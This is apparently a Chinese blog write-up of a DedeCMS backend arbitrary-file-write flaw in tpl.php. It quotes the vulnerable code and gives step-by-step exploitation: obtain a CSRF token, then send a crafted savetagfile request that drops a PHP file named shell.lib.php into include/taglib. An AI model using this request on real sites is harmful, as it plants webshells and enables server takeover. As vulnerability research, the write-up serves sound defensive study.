前言

这两天费劲脑力去撩小姐姐,感觉好难啊,还不如审计代码。

环境

Web: phpstudy System: Windows 10 X64 Browser: Firefox Quantum Python version : 2.7 Tools: PhpStorm 2017.1.1

复现

漏洞利用

  1. 首先访问域名 + /dede/tpl.php?action=upload,在这个页面的源代码中获取到token值。
  2. 访问以下地址: 域名 + /dede/tpl.php?filename=shell.lib.php&action=savetagfile&content=<?php%20phpinfo();?>&token=刚才的token值
  3. 访问shell的地址:

域名 + /include/taglib/shell.lib.php

漏洞分析

代码位置和代码

位置: dedecms\dede\tpl.php 代码:

if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename); 

中间省略。。。。。。。。。

else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

分析过程

  • 由于dedecms全局变量注册的特性,所以这里的大部分变量都是可控的。 这里有个一个函数preg_replace,是把匹配到的字符替换为空,我们的文件名没有包含类似/,\所以不用理会。
if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename); 
  • 等下要传值一个savetagfile才能进行下面的语句。 这里有一个csrf_check()的函数,可以看到这里是验证token的位置,待会我们也要把token带进去。 我们还是直接看 $content = stripslashes($content);$truefile = DEDEINC.'/taglib/'.$filename;这两句,要写入的$content是经过stripslashes函数的过滤,只要我们要写入的php语句不包含反斜杠就行了。然后$truefile这个就是等会要写入文件的文件流了,还包含了写入的路径。
else if($action=='savetagfile')
{
    csrf_check();
    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
    {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    require_once(DEDEINC.'/oxwindow.class.php');
    $tagname = preg_replace("#\.lib\.php$#i", "", $filename);
    $content = stripslashes($content);
    $truefile = DEDEINC.'/taglib/'.$filename;
    $fp = fopen($truefile, 'w');
    fwrite($fp, $content);
    fclose($fp);

\dede\config.php

function csrf_check()
{
    global $token;

    if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
        echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
        exit;
    }
}

构造POC

有人说没有后台还是一样没卵用,可以看下先知的一篇找后台地址的文章:https://xianzhi.aliyun.com/forum/topic/2064

刚才上面分析了需要的传入的参数有:filename,action,content,tokentoken上面复现的时候已经说过怎么获取这个值了, 最终的构造: http://dedecms.test/dede/tpl.php?filename=文件名字.lib.php&action=savetagfile&content=文件内容&token=获取到的token

结束

这个也不写python脚本了,因为要用到后台也很难实现批量化。

已经两天没有发文章了,一定要坚持下去,比你牛逼的人还比你努力是一种什么体验?

参考

http://www.freebuf.com/vuls/164035.html

源码下载:https://pan.lanzou.com/i0mmfih